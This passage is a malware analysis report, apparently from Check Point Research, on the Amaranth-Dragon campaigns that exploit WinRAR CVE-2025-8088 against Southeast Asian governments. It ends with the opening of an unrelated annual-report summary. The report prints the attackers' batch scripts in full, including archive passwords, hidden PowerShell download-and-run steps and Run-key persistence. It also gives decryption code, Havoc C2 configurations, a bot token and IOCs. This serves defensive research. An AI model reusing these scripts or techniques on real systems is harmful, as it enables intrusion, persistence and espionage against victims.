2D25368AA3EB691DC81094EBDE82D2F8       \\__MACOSX\\ZoomWorkspace.bat

Both .lnk files masquerade as PDF files purportedly delivered by the Office of the President. When triggered, each executes the following command, which runs the “hidden” .bat file stored in the \\__MACOSX\\ folder.

/b /c "@echo off && tar.exe -xf "*-Archive.zip" && "__MACOSX\\ZoomWorkspace.bat" || "__MACOSX\\ZoomWorkspace.bat""

It is interesting to note that even if only the .lnk file is extracted, executing it will extract all the files from the archive and then trigger the .bat file.

@echo off
setlocal

:: ??????
set rsz=.\\__MACOSX\\.vcredist.rar
:: ??????

:: ??????
set drp=%appdata%\\ZoomWorkspace
set exf=%appdata%\\ZoomWorkspace\\ZoomUpdate.exe
:: ??????

:: ??????
if not exist "%drp%" (
    mkdir "%drp%" >NUL 2>&1
)

set "RAR32=%ProgramFiles(x86)%\\WinRAR\\Rar.exe"
set "RAR64=%ProgramFiles%\\WinRAR\\Rar.exe"
set "z32=%ProgramFiles(x86)%\\7-Zip\\7z.exe"
set "z64=%ProgramFiles%\\7-Zip\\7z.exe"

if exist "%RAR64%" (
    "%RAR64%" x -hpsuu9cskRIQjsBxYtr9TH -y "%rsz%" "%drp%\\" >NUL 2>&1

    if exist "%exf%" (
        del /s /q /a /f "%rsz%"
        powershell -WindowStyle hidden -ep Bypass -nop %exf%
    )
    
    exit /b %errorlevel%
)

if exist "%z64%" (
    "%z64%" x -psuu9cskRIQjsBxYtr9TH -o "%drp%\\" -y "%rsz%" >NUL 2>&1

    if exist "%exf%" (
        del /s /q /a /f "%rsz%"
        powershell -WindowStyle hidden -ep Bypass -nop %exf%
    )

    exit /b %errorlevel%
)

if exist "%RAR32%" (
    "%RAR32%" x -hpsuu9cskRIQjsBxYtr9TH -y "%rsz%" "%drp%\\" >NUL 2>&1

    if exist "%exf%" (
        del /s /q /a /f "%rsz%"
        powershell -WindowStyle hidden -ep Bypass -nop %exf%
    )

    exit /b %errorlevel%
)

if exist "%z32%" (
    "%z32%" x -psuu9cskRIQjsBxYtr9TH -o"%drp%\\" -y "%rsz%" >NUL 2>&1

    if exist "%exf%" (
        del /s /q /a /f "%rsz%"
        powershell -WindowStyle hidden -ep Bypass -nop %exf%
    )

    exit /b %errorlevel%
)

endlocal

The bat file attempts to extract two files from the password-protected archive using the password suu9cskRIQjsBxYtr9TH and stores them in %appdata%\\ZoomWorkspace\\. The executable file is legitimate and signed, which sideloads the malicious DLL Amaranth Loader.

Hash                                   Path
----                                   ----
5EB3FC682E41EAEC8704EF6CB7593FC2       \\__MACOSX\\.vcredist\\ZoomUpdate.exe
534ECC19F369B3FE3C2C33F4BF92205A       \\__MACOSX\\.vcredist\\DllSafeCheck64.dll

The loader contacts hxxps://softwares.dailydownloads[.]net/products/microsoft/office/product-key/DB2F.activation.key to retrieve the AES key and hxxps://updates.dailydownloads[.]net/docs/microsoft/office/Office_Activation_Manual_DB2F.pdf to obtain the encrypted payload, which is then run in memory. The payloads we obtained were Havoc C2 Framework.

Campaign Analysis – Indonesia, 2025-09-05

The campaign targeting Indonesia took place on September 5, 2025. Its theme was Proposal_for_Cooperation_3415. The group distributed a malicious RAR file that exploits the CVE-2025-8088 vulnerability, allowing the execution of arbitrary code and maintaining persistence on the compromised machine.

The RAR file drops the following benign files into the extracted directory (in the example above, the Desktop folder):

Hash                                   Path
----                                   ----
8A7F236D0489AC4292ED4CC17D7A7C83       \\Attachments\\Attachments_Concept Note (1).docx
83ECA729B5002A4294A658ADE65371D1       \\Attachments\\Attachments_Concept Note (2).docx
5B3224B45D3A8B403EC07025B803AE85       \\Attachments\\Attachments_Concept Note (3).docx
A956F6B6372F6F81B98EEC8E5563D54E       \\Attachments\\Attachments_Concept Note (4).docx
057AF63BB82301A1522F86D87374A5E4       \\Attachments\\Attachments_Concept Note (5).docx
5CC340108C8A0682151574280632BDE1       \\Attachments\\Attachments_Concept Note (6).docx
DED81110B206D662F56F0FB47DAF6DEA       \\Attachments\\Attachments_Concept Note (7).docx
3AEEC2BCD63FD76CB78CC7FE6BCB1172       Proposal for Cooperation.pdf

When attempting to exploit the path traversal vulnerability to drop the malicious script into the Startup folder and achieve arbitrary code execution, we observed the malware repeatedly trying different ../ path‑traversal sequences until it successfully reached the correct directory, which varies depending on where the RAR file is extracted.

After the malicious file is dropped into the Startup folder, it executes Windows Defender Definition Update.cmd upon the next system reboot. It is noteworthy that although the RAR file exists on VirusTotal, the sandbox was unable to extract the malicious file, creating challenges for researchers, as no artifacts were available to analyze.

Cmd File: 8a7ee2a8e6b3476319a3a0d5846805fd25fa388c7f2215668bc134202ea093fa

@echo off
setlocal ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION

set "TARGET_DIR=C:\\Users\\Public\\Documents\\Microsoft"
set "ZIP_URL=hxxps://www.dropbox.com/scl/fi/ln6q8ip8k3dvx6xxyi71s/gs.rar?rlkey=w9vg1ehva23iitfdt5oh2x6cj&st=pwq86nfo&dl=1"

set "RANDOM_NAME=winupdate_v!RANDOM!!TIME:~6,2!!TIME:~3,2!"
set "ZIP_FILE=%TARGET_DIR%\\%RANDOM_NAME%.rar"
set "EXTRACT_DIR=%TARGET_DIR%\\%RANDOM_NAME%"

set "EXE_FILE=%EXTRACT_DIR%\\obs-browser-page.exe"
set "DLL_FILE=%EXTRACT_DIR%\\libcef.dll"

if exist "%EXE_FILE%" if exist "%DLL_FILE%" goto :RunProgram
if not exist "%TARGET_DIR%" mkdir "%TARGET_DIR%" >NUL 2>&1

call :Download "%ZIP_URL%" "%ZIP_FILE%"
if errorlevel 1 (
    timeout /t 15 >NUL
    call :Download "%ZIP_URL%" "%ZIP_FILE%"
    if errorlevel 1 (
        timeout /t 30 >NUL
        call :Download "%ZIP_URL%" "%ZIP_FILE%"
        if errorlevel 1 exit /b 1
    )
)

mkdir "%EXTRACT_DIR%" >NUL 2>&1
call :Extract "%ZIP_FILE%" "%EXTRACT_DIR%" || exit /b 1
del /q "%ZIP_FILE%" >NUL 2>&1

:RunProgram
if exist "%EXE_FILE%" (
    reg add "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "%RANDOM_NAME%" /t REG_SZ /d "%EXE_FILE%"
    start "" "%EXE_FILE%"
)
endlocal
exit /b 0

:Download
powershell -WindowStyle Hidden -NoLogo -NoProfile -Command ^
    "try { (New-Object Net.WebClient).DownloadFile('%~1','%~2'); exit 0 } catch { exit 1 }" >NUL 2>&1
if %errorlevel%==0 exit /b 0
powershell -WindowStyle Hidden -NoLogo -NoProfile -Command ^
    "try { (New-Object Net.WebClient).DownloadFile('%~1','%~2'); exit 0 } catch { exit 1 }" >NUL 2>&1
if %errorlevel%==0 exit /b 0
exit /b 1

:Extract
set "RAR32=%ProgramFiles(x86)%\\WinRAR\\Rar.exe"
set "RAR64=%ProgramFiles%\\WinRAR\\Rar.exe"

if exist "%RAR64%" (
    "%RAR64%" x -hpS8jwaqfA0BBuWOAKrFLg -y "%~1" "%~2\\" >NUL 2>&1
    exit /b %errorlevel%
)

if exist "%RAR32%" (
    "%RAR32%" x -hpS8jwaqfA0BBuWOAKrFLg -y "%~1" "%~2\\" >NUL 2>&1
    exit /b %errorlevel%
)

where Rar.exe >NUL 2>&1
if %errorlevel%==0 (
    Rar.exe x -hpS8jwaqfA0BBuWOAKrFLg -y "%~1" "%~2\\" >NUL 2>&1
    exit /b %errorlevel%
)

exit /b 1

The .cmd file downloads a password‑protected RAR archive from Dropbox and saves it to C:\\Users\\Public\\Documents\\Microsoft under the name winupdate_v{random_int_cur_time}.rar. Threat actors often abuse legitimate file‑sharing services, such as Dropbox, Google Drive, GitHub, and others. Although these platforms scan uploaded files for malicious activity, password‑protecting an archive prevents the files from being extracted and their contents analyzed, which allows malicious payloads to bypass security checks.

winupdate_v.rar- 50855f0e3c7b28cbeac8ae54d9a8866ed5cb21b5335078a040920d5f9e386ddb

After it’s downloaded, the RAR file is decrypted using the password S8jwaqfA0BBuWOAKrFLg. It then drops the two embedded files, obs-browser-page.exe and libcef.dll, into C:\\Users\\Public\\Documents\\Microsoft\\winupdate_v{random_int_cur_time}\\. A Run registry key is then created to maintain persistence for the executable, which will sideload the malicious DLL file. obs-browser-page.exe – 7af238050b2750da760b2cf5053bcf58054bcf44e9af1617d8b7af3ed98d09c6

libcef.dll – a3805b24b66646c0cf7ca9abad502fe15b33b53e56a04489cfb64a238616a7bf

The DLL file was compiled on Thu, Sep 04, 10:41:21 2025, and contains the malicious export cef_api_hash. The malware is the RAT we track as TGAmaranth RAT, and uses a Telegram Bot as its C&C.

The artifacts we observed in the campaign’s initial ZIP file were also present in another ZIP file. However, instead of downloading the encrypted RAR from Dropbox, the file was retrieved from the group’s own servers:

• URL: catalogs.dailydownloads[.]net/archives/microsoft/office/@MrPresident_001_bot.rar
• Password: 6jmNHn2hRf7uxCHKwL5s

Interestingly, the filename @MrPresident_001_bot.rar could potentially refer to a Telegram bot, as it follows the platform’s naming conventions for bot accounts.

Amaranth Loader – Technical Analysis

The Amaranth loader is a 64-bit Windows PE DLL that executes its malicious functionality when sideloaded. The loader usually does not establish additional persistence mechanisms. However, in some campaigns and samples, we observed the creation of a Run key entry to ensure persistence.

The DLL typically contains multiple exports, in most cases, only a single export is functional, and the remaining exports point to the same address, which simply invokes an infinite Sleep loop.

After the correct export is invoked by the main executable, Amaranth loader decrypts the initial URL using a hardcoded XOR key.

The loader contacts the URL that hosts the AES key. While the majority of samples we obtained follow this approach, we also observed samples in which the AES key is embedded in the binary in encrypted form. In these cases, the same decryption process described above is used to retrieve the AES key.

Initially, the URLs used to retrieve the key were hosted on Pastebin, uploaded from a single account @amaranthbernadine. In later campaigns, the AES key was hosted on servers controlled by the threat group, similar to those in the payload.

hxxps://pastebin[.]com/raw/Z7xayGZ8
hxxps://pastebin[.]com/raw/2AGrG4i1
hxxps://pastebin[.]com/raw/ASXindCH
hxxps://daily.getfreshdata[.]com/dailynews/key.txt
hxxps://softwares.dailydownloads[.]net/products/microsoft/office/product-key/DB2F.activation.key

Moving the AES keys from Pastebin to their own servers enables the attackers to apply geolocation restrictions before payload delivery.

We observed multiple User-Agent strings being passed as arguments to the InternetOpenA function, including:

"Avant Browser/1.2.789rel1 (<http://avantbrowser.com>)"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0"
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36"
"downloader"

The loader downloads the encrypted file from the second URL and decrypts it using AES-CBC with the obtained key and a hardcoded initialization vector (IV). The same IV is present in all Amaranth loader samples from the campaigns mentioned earlier: 12 34 56 78 90 AB CD EF 34 56 78 90 AB CD EF 12.

The loader allocates 4 KB of memory with PAGE_EXECUTE_READWRITE access and copies the decrypted shellcode into this memory address. It then executes the shellcode entry point. The observed shellcode was the Havoc command-and-control framework.

Example of Havoc Configuration (targeting Thailand, Singapore, Philippines –FSTR_HADR.zip):

{
  "Processes": [
    "C:\\\\Windows\\\\System32\\\\Werfault.exe",
    "C:\\\\Windows\\\\SysWOW64\\\\Werfault.exe"
  ],
  "Method": "POST",
  "Hosts": [
    "www.todaynewsfetch[.]com:443"
  ],
  "UserAgent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36",
  "Headers": [
    "Content-type: text/plain",
    "Secure: 1",
    "SSID: 11PCVS1VcabHx"
  ],
  "Urls": [
    "/im-uncac",
    "/bulletin-disposal",
    "/version-check"
  ]
}

During our analysis of the loader’s strings, we observed several development and debug artifacts, such as references to Crypto++ source file paths. These paths likely originate from the threat actors’ development environment.

C:\\Users\\LG02\\Desktop\\???\\cryptopp-master\\gf2n_simd.cpp
C:\\Users\\LG02\\Desktop\\???\\cryptopp-master\\rijndael_simd.cpp
C:\\Users\\LG02\\Desktop\\???\\cryptopp-master\\sha_simd.cpp
C:\\Users\\LG02\\Desktop\\???\\cryptopp-master\\sse_simd.cpp
D:\\Dev\\ApplicationDllHijacking\\cryptopp\\cryptopp-master\\gf2n_simd.cpp
D:\\Dev\\ApplicationDllHijacking\\cryptopp\\cryptopp-master\\rijndael_simd.cpp
D:\\Dev\\ApplicationDllHijacking\\cryptopp\\cryptopp-master\\sha_simd.cpp
D:\\Dev\\ApplicationDllHijacking\\cryptopp\\cryptopp-master\\sse_simd.cpp
H:\\SideLoading\\04.Cwebp_custom\\???\\cryptopp-master\\gf2n_simd.cpp
H:\\SideLoading\\04.Cwebp_custom\\???\\cryptopp-master\\rijndael_simd.cpp
H:\\SideLoading\\04.Cwebp_custom\\???\\cryptopp-master\\sha_simd.cpp
H:\\SideLoading\\04.Cwebp_custom\\???\\cryptopp-master\\sse_simd.cpp

Amaranth Loader Variant Resembling APT-41 Tools deploying Havoc

File: 3cbef162e14e74d1f95391091544b53deb23c41b41b8bbadd124209a63496424

In early September, we discovered a file exhibiting similarities to both Amaranth Loader and previous APT-41 reported tools (here and here). This sample was compiled on August 20, 2025, and appears to have been used in multiple attacks. We observed the same Crypto++ file artifacts as seen in Amaranth Loader, as well as the use of the DLL sideloading technique.

H:\\code\\loaders\\winzip\\cryptopp\\gf2n_simd.cpp
H:\\code\\loaders\\winzip\\cryptopp\\rijndael_simd.cpp
H:\\code\\loaders\\winzip\\cryptopp\\sha_simd.cpp
H:\\code\\loaders\\winzip\\cryptopp\\sse_simd.cpp

Of the four DLL exports, three of them point to the same address containing the Sleep instruction, while the other export, CreateWzAddrBook, implements the malicious functionality.

Before entering an infinite sleep, the main export creates a thread to execute the malicious function.

void CreateWzAddrBook()
{
  HANDLE Thread = CreateThread(NULL, 0, StartAddress, NULL, 0, NULL);
  CloseHandle(Thread);
  Sleep(INFINITE);
}

Similar to Amaranth Loader, this local variant decrypts its strings using the same previously described algorithm. Although some unusual logic is present in the code, this appears to be the result of compiler optimizations, such as loop unrolling, though the result is the same.

Python representation:

data = b'?N\\xd9\\x8c$\\x1d}\\xed\\x1c4\\x00\\x00\\x00\\x00\\x00\\x00'
key = 0x8145F15287224668
decrypted_size = 10

decrypted = bytes(
    data[i] ^ (key >> i % 8) & 0xFF
    for i in range(0, decrypted_size)
)

print(decrypted)
# b'WzCAB.dat\\x00'

The first decrypted string is the filename containing the encrypted shellcode, which is loaded into memory and executed. The second decrypted string is the “RC4 key” used to decrypt the shellcode. Windows API function names are also encrypted and decrypted using the same algorithm, then GetProcAddress is used to dynamically resolve these functions at runtime.

The function used to decrypt the shellcode is an RC4-like implementation. While the Key-Scheduling Algorithm (KSA) is correctly implemented, the difference from the standard RC4 algorithm lies in the Pseudo-Random Generation Algorithm (PRGA).

Below is the Amaranth-Dragon Python RC4 implementation:

def rc4_amaranth_dragon(key: bytes, data: bytes) -> bytes:
    """
    Amaranth-Dragon RC4-like decryption function.
    Author: @Tera0017/@_CPResearch_
    """
    def KSA(key: bytes) -> list[int]:
        sBox = list(range(0, 256))
        b = 0
        for i in range(0, 256):
            b = (sBox[i] + key[i % len(key)] + b) & 0xFF
            sBox[i], sBox[b] = sBox[b], sBox[i]
        return sBox

    def PRGA(sbox: list[int], data_size: int):
        j = 0
        for i in range(0, data_size):
            ii = (i + 1) & 0xFF
            j = (j + sbox[ii]) & 0xFF
            sbox[ii], sbox[j] = sbox[j], sbox[ii]
            # Amaranth-Dragon RC4 Implementation
            yield i, (sbox[ii] + sbox[j]) & 0xFF
            # Standard RC4 Implementation
            #yield i, box[(box[ii] + box[j]) & 0xFF]

    box = KSA(key)
    return bytes(
        data[i] ^ cipherbyte
        for i, cipherbyte in PRGA(box, len(data))
    )

It’s not clear if this deviation is intentional or accidental. However, standard Python libraries such as PyCryptodome do not successfully decrypt the shellcode.

After the RC4-like decryption function completes, the malware uses the previously mentioned XOR algorithm to decrypt and dynamically resolve the necessary Windows API functions. These functions are then used to perform process injection by executing the shellcode within a fiber context.

shell_addr = VirtualAlloc(NULL, decrypted_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shell_addr, decrypted, decrypted_size);

ConvertThreadToFiber(NULL);

LPVOID shellFiber = CreateFiber(0, shell_addr, NULL);

SwitchToFiber(shellFiber);

The encrypted shellcode used in this campaign was identified as Havoc C2 Framework shellcode, and is configured as follows:

{
  "Processes": [
    "C:\\\\Windows\\\\System32\\\\msfeedssync.exe",
    "C:\\\\Windows\\\\SysWOW64\\\\msfeedssync.exe"
  ],
  "Method": "POST",
  "Hosts": [
    "dns.annasoft.gcdn[.]co:443",
    "92.223.120[.]10:443",
    "93.123.17[.]151:443",
    "92.223.76[.]20:443",
    "92.223.124[.]45:443",
    "92.38.170[.]6:443"
  ],
  "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1788.0",
  "Headers": [
    "Host: helpdesk.nvision.com",
    "Accept: */*",
    "Accept-Language: en-US,en",
    "Accept-Encoding: gzip,deflate,br",
    "Origin: <https://config.office>[.]com",
    "Connection: keep-alive"
  ],
  "Urls": [
    "/releases/v1.0/OfficeReleases",
    "/Collector/3.0/?qsp=true&content-type=application&client-id=NO_AUTH"
  ]
}

TGAmaranth RAT – Technical Analysis

TGAmaranth RAT is a fully functional 64-bit DLL remote access tool (RAT) that uses a hardcoded Telegram bot as its C&C. It uses an encrypted bot token to connect to https://api.telegram.org, listens for incoming bot messages, and interprets them as commands.

This file was compiled on September 4, 2025, and was used in a campaign targeting Indonesia and possibly other Southeast Asian countries. The sample follows a modus operandi similar to that of other tools observed in the Amaranth-Dragon campaigns, and is sideloaded by a legitimate executable.

The first function executed by the malware implements an anti-debugging technique to determine if the process is being debugged. This method is described in detail in this GitHub repository. In summary, the malware creates an event handler named SelfDebugging and launches a child process of itself, passing the executable filename and the parent process ID as arguments. The child process then attempts to attach to the parent process using the DebugActiveProcess. If this attempt fails, the child process signals the event handler to notify the parent that it is already being debugged. Upon detection of a debugger, both the child and parent processes terminate. If no debugger is detected, the parent process proceeds with the infection routine.

However, before proceeding with full infection, the malware employs an anti-EDR and anti-AV technique that overwrites a hooked ntdll.dll in the current process with a clean, unhooked copy, thereby allowing it to bypass EDR or antivirus hooks. To achieve this, the malware creates a child process of cmd.exe in CREATE_SUSPENDED mode and reads the child process’s ntdll.dll from memory using the ReadProcessMemory API. As many EDR solutions do not hook into the ntdll.dll of a process until it is resumed, the suspended child process typically contains an unhooked version of the DLL. TGAmaranth does not inject any code into the child process, but simply reads the unhooked ntdll.dll and then terminates the child process. The malware then copies the .text section of the unhooked ntdll.dll from the child process into its own address space, effectively removing any EDR or antivirus hooks from the parent process.

The RAT encrypts most of its critical strings using a custom XOR-based function, which uses the same algorithm as previously described.

Due to compiler optimizations such as loop unrolling, the similarities in the decryption routines are not immediately apparent. However, when translating the code into Python, we observe that the same decryption algorithm is used.

def decrypt_tg_amaranth(key: int, data: bytes) -> bytes:
    """
    Amaranth-Dragon, TGAmaranth string decryption function.
    Author: @Tera0017/@_CPResearch_
    """
    return bytes(
        data[i] ^ (key >> i % 8) & 0xFF
        for i in range(0, len(data)) if data[i]
    )

encrypted = b'9\\xb2x\\x95`\\x98\\xe6\\xdc0\\xb3z\\xe1\\x11\\xed\\xad\\xb8f\\xca\\x14\\xd0\\x06\\xcf\\xb9\\x93P\\xb3x\\xc6\\x1f\\xe7\\xe5\\x832\\xef&\\xd18\\xd9\\x98\\x87i\\xd11\\xfa#\\x90\\xd4\\x00'
key = 0x7001694307667501

tg_bot_token = decrypt_tg_amaranth(key, encrypted)
print(tg_bot_token)
# b'8285002613:AAEyRgJTpVgmyQ38fOO1i3ofqhqLmhQqZs8\\x00'

The first decrypted string is the Telegram bot token, 8285002613:AAEyRgJTpVgmyQ38fOO1i3ofqhqLmhQqZs8, which serves as the C&C channel for the RAT. The RAT leverages the tgbot-cpp library to interact with the Telegram API. Operators send commands to the RAT through the Telegram bot, and the RAT continuously monitors messages received by the bot, executes the specified commands on the infected machine, and returns the results to the bot via the same Telegram channel.

Command	Argument	Description
/start	N/A	Sends the list of running processes from the infected machine to the bot.
/screenshot	N/A	Captures and uploads a screenshot of the infected machine.
/shell	$command	Executes the specified command on the infected machine and returns the output.
/download	$filepath	Downloads the specified file from the infected machine.
/upload	$FILE	Uploads a file to the infected machine.

The example below demonstrates how the group can interact with the infected machine.

Attribution

Check Point Research observed overlaps between Amaranth-Dragon and APT-41, with similarities apparent in both their targeting and technical toolsets. Both groups have focused their campaigns on government and law enforcement entities across Southeast Asia, and the Amaranth-Dragon arsenal demonstrates notable technical features previously associated with APT-41. These include the use of DLL sideloading techniques and malicious DLLs that employ a Sleep instruction in unused exports, a characteristic observed in APT-41 tools, reported in earlier research publications. In addition, the development style, such as creating new threads within export functions to execute malicious code, closely mirrors established APT-41 practices. Compilation timestamps, campaign timing, and infrastructure management all point to a disciplined, well-resourced team operating in the UTC+8 (China Standard Time) zone. Taken together, these technical and operational overlaps strongly suggest that Amaranth-Dragon is closely linked to, or part of, the APT-41 ecosystem, continuing established patterns of targeting and tool development in the region.

Conclusion

The campaigns by Amaranth-Dragon exploiting the CVE-2025-8088 vulnerability highlight the recent trend of sophisticated threat actors rapidly weaponizing newly disclosed vulnerabilities. By leveraging a path traversal flaw in WinRAR, the group demonstrates its ability to adapt its tactics and infrastructure to maximize impact against highly targeted government and law enforcement organizations across Southeast Asian countries. The use of geo-restricted C&C servers, custom loaders, and open-source post-exploitation frameworks, such as Havoc, underscores the group’s technical proficiency and operational discipline. These attacks serve as a stark reminder of the importance of timely vulnerability management, user awareness, and robust defense-in-depth strategies. Organizations, especially those in government and critical infrastructure sectors, must prioritize patching vulnerabilities, monitoring suspicious archive files, and remaining vigilant for evolving TTPs. As cyber threats continue to align with geopolitical interests, collaboration between regional partners and the security community is essential to detect, disrupt, and defend against these advanced adversaries.

Protections

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems, protecting against the attacks and threats described in this report.

Indicators of Compromise

Description	Value
RAR Archives (Exploit)	259819d1ae6421c2871f2ba0d128089036a0b29b 92b8fa4d3e7f42036fc297a3b765e365e27cdce5 e34d7e8ba4bb949aa5c491b950ab30688d5dbadc
Archives	19abb00922f4fb3d4b28713bc866a033a11c1567 3a647d54f0866496d6d71c7b8e9f928759d535fd 44ac2785b0352113ed12b856ec4507fa0b897adf 53641ae0acb0fd986b30bdb1766086140abdc625 7ed0e7b80d4b5cddf10b0a6907755c607f37d7fe a80c9e1b3116f882d4f25e1934a2e890706ba44c b0b95528f5df65140540e473a5ac477d7f4dff87 d70bad36a4060f93a3c5c9092bbf299c463a1451 d80edb2d04670d304713b148d6a721498f842376 ec61fd29b0ebc597847325a61aceac5eeab4ae2c
Archive URLs	dropbox[.]com/scl/fi/csggj44n9255y3vsjhh0p/wsNativePush.zip?rlkey=oaffvs9si6wkc6j4ccushn133&st=osdl9su7&dl=1 dropbox[.]com/scl/fi/ln6q8ip8k3dvx6xxyi71s/gs.rar?rlkey=w9vg1ehva23iitfdt5oh2x6cj&st=pwq86nfo&dl=1 dropbox[.]com/scl/fi/rl6nbtvfzllgovofmbdsm/FSTR_HADR.zip?rlkey=bql8d9zl3gz1ctfftbby6lob7&st=sc98u44d&dl=1 catalogs[.]dailydownloads[.]net/archives/microsoft/office/@MrPresident_001_bot.rar
Supporting Files	1c1d53cb0f2a2d9b6d7ddb4ed55ed18880ae45e6 3823415ce9d1408a6595035e1cb634b2e261e005 40550c3696581a00b976adddbbef145f2531770e 5670d4688b2ec8b414a96aa795d81b78580ae20b 582d275c4f10c8632294cadcf56df13729612de2 78066f82804410625f6cd02a913464e163c5613e 85a31476dd35ff67439a2cbb4dea40e3223f8eaf 8aacc30dac2ca9f41d7dd6d2913d94b0820f802bc04461ae65eb7cf70b53a8ab b93db4606ab2233a6d48b9658ab7ca432ba93985 c582718d37e9563f019e3ef78e736a0282203371 ccd6e41f343ed719ac61c05d0435a3c3bfd67d2a e739b3cffbb94357390a0f451d8f4171fdb9200b ed0232814fe9adb9fe62e04c8982cebf5c5e79ab ff4e717f9fa54cbaadadf145433df4f8292c56c1
Amaranth Loader	00351add8e0bca838e8dac40875b8ad5195805bd 481d50d5ab7c0a41a7c4fabb01b5c50c8f4fabf2 718c5846d3b903e3e9e2df9281f5e25b371465f2 9afadca9b2dad54004bd376dbee7e98c38dbdf50 b4dc300031edf5dd4968028146b0d608bdd975c5 c54a68d6bcc6d04ff08ad9619706e54923a20248 cd949663598c49141a98b438cf408113602e5c19 ddea99cb2db5e95552dccc8804125f19b30af536
Amaranth Key URL	daily[.]getfreshdata[.]com/dailynews/environment.enc daily[.]getfreshdata[.]com/dailynews/key.txt pastebin[.]com/raw/2AGrG4i1 pastebin[.]com/raw/ASXindCH pastebin[.]com/raw/Z7xayGZ8
Amaranth C&C	analytics[.]freshdatainsights[.]org/display/2025/uid_8oQRkgpvMSgmBFt9/WondershareApplicationManual.pdf drive.easyboxsync[.]com/resources/channels/v7/cambodia64 get.storagesync[.]biz/resources/newspaper/2018/forecast2018 live[.]easyboxsync[.]com/resources/gup/notepad news[.]dostpagasa[.]com/llehs/jdkasdnkaf.enc softwares[.]dailydownloads[.]net/products/microsoft/office/product-key/DB2F.activation.key updates[.]dailydownloads[.]net/docs/microsoft/office/Office_Activation_Manual_DB2F.pdf
TGAmaranth RAT	803fb65a58808fd3752f9f76b5c75ca914196305
Havoc	733714767a49c00c5c825c8e689da0c3bb23fbfa 9905c672b9c32f7a09fbebb7b54e9371f08af354 d751647a2c831b4e20aba2aab9de7feb9c6a9e7d e2520eb81665015778d915f0f0f749889a7fb1f5 e866edf14b208076d83417d9757056e7a12dca73
Havoc C&C	92.223.120[.]10 92.223.124[.]45 92.223.76[.]20 92.38.170[.]6 93.123.17[.]151 dns.annasoft.gcdn[.]co phnompenhpost[.]net todaynewsfetch[.]com

YARA rules

rule amaranth_loader
{
  meta:
    author = "@Tera0017/@_CPResearch_"
    description = "Amaranth Loader"
    link = "<https://research.checkpoint.com/>"
  strings:
    $mz = "MZ"
    $ama_size = {41 BD 01 00 00 00 41 BC 00 40 06 00 E9 92 00 00 00}
    $ama_iv = {C7 84 24 30 02 00 00 12 34 56 78 C7 84 24 34 02 00 00 90 AB CD EF C7 84 24 38 02 00 00 34 56 78 90 C7 84 24 3C 02 00 00 AB CD EF 12}
    $ama_decr = {FF C1 48 D3 E8 41 30 00 FF C2 49 FF C0}
  condition:
    $mz at 0 and any of ($ama*)
}

MITRE ATT&CK Matrix: Amaranth-Dragon Campaigns

Tactic	Technique (ID)	Description / Context in Campaigns
Initial Access	Spearphishing Attachment (T1566.001)	Targeted emails with malicious RAR archives exploiting CVE-2025-8088.
Execution	User Execution (T1204.002)	Victims are lured to open weaponized archive files, triggering code execution.
Execution	Exploitation for Client Execution (T1203)	Exploitation of WinRAR vulnerability (CVE-2025-8088) to execute arbitrary code.
Persistence	Boot or Logon Autostart Execution: Startup Folder (T1547.001)	Malicious scripts or payloads dropped into the Startup folder for persistence.
Persistence	Registry Run Keys / Startup Folder (T1547.001)	Persistence via registry key modification (Run key).
Persistence	Scheduled Task/Job (T1053)	Creating scheduled tasks for persistence.
Defense Evasion	Signed Binary Proxy Execution (T1218)	Sideloading Amaranth loader via legitimate executables.
Defense Evasion	Obfuscated Files or Information (T1027)	Encrypted payloads (AES), use of password-protected archives, and obfuscated delivery.
Command and Control	Application Layer Protocol: Web Protocols (T1071.001)	C2 communication over HTTP/HTTPS, including geo-restricted infrastructure.
Command and Control	Application Layer Protocol: Web Service (T1102)	Use of Pastebin for AES key delivery and Telegram for RAT C2.
Command and Control	Ingress Tool Transfer (T1105)	Downloading additional payloads (e.g., Havoc Framework) from attacker-controlled infrastructure.
Discovery	System Information Discovery (T1082)	RATs and frameworks like Havoc typically enumerate system information.
Collection	Input Capture (T1056)	RATs may capture keystrokes or other sensitive data.
Exfiltration	Exfiltration Over C2 Channel (T1041)	Stolen data exfiltrated via established C2 channels (Havoc, Telegram RAT).

References

[1] https://dmpdump.github.io/posts/Unattributed_Downloader_Cambodia/

[2] https://cyberarmor.tech/blog/autumn-dragon-china-nexus-apt-group-targets-south-east-asia

The post Amaranth-Dragon: Weaponizing CVE-2025-8088 for Targeted Espionage in the Southeast Asia appeared first on Check Point Research.

Check Point Research continuously investigates real-world attacks, vulnerabilities, attackers’ infrastructure, and emerging techniques across global networks and environments. The Cyber Security Report 2026 consolidates our research efforts throughout 2025 to deliver a clear, data-driven view of the current threat landscape and its trajectory in 2026.

As Check Point’s flagship annual research publication, the report serves as a reference point for security teams, researchers, and industry leaders seeking to understand how attacker behavior is evolving in practice, not just theory. The findings below highlight the most significant shifts shaping the threat landscape today.

AI as a Force Multiplier Across Cyber Attacks

Artificial intelligence is now embedded across the attack lifecycle, accelerating the execution of familiar techniques at greater speed and scale. 

Key observations:

• Increasingly convincing social engineering with fewer detectable indicators
• Faster reconnaissance and targeting, reducing time-to-compromise
• Accelerated malware development

Alongside its role as an enabler, AI is now a direct source of enterprise risk. Research in 2025 identified measurable exposure tied to how organizations deploy and govern AI systems.

Key data points:

• Risky AI prompts increased by 97% in 2025
• 40% of analyzed Model Context Protocols (MCPs) were vulnerable
• Elevated trust and autonomy amplify the impact of prompt injection and workflow abuse

Similar efficiency-driven patterns were also observed in financially motivated operations, including ransomware activity.

Ransomware Operations Become More Fragmented and Targeted

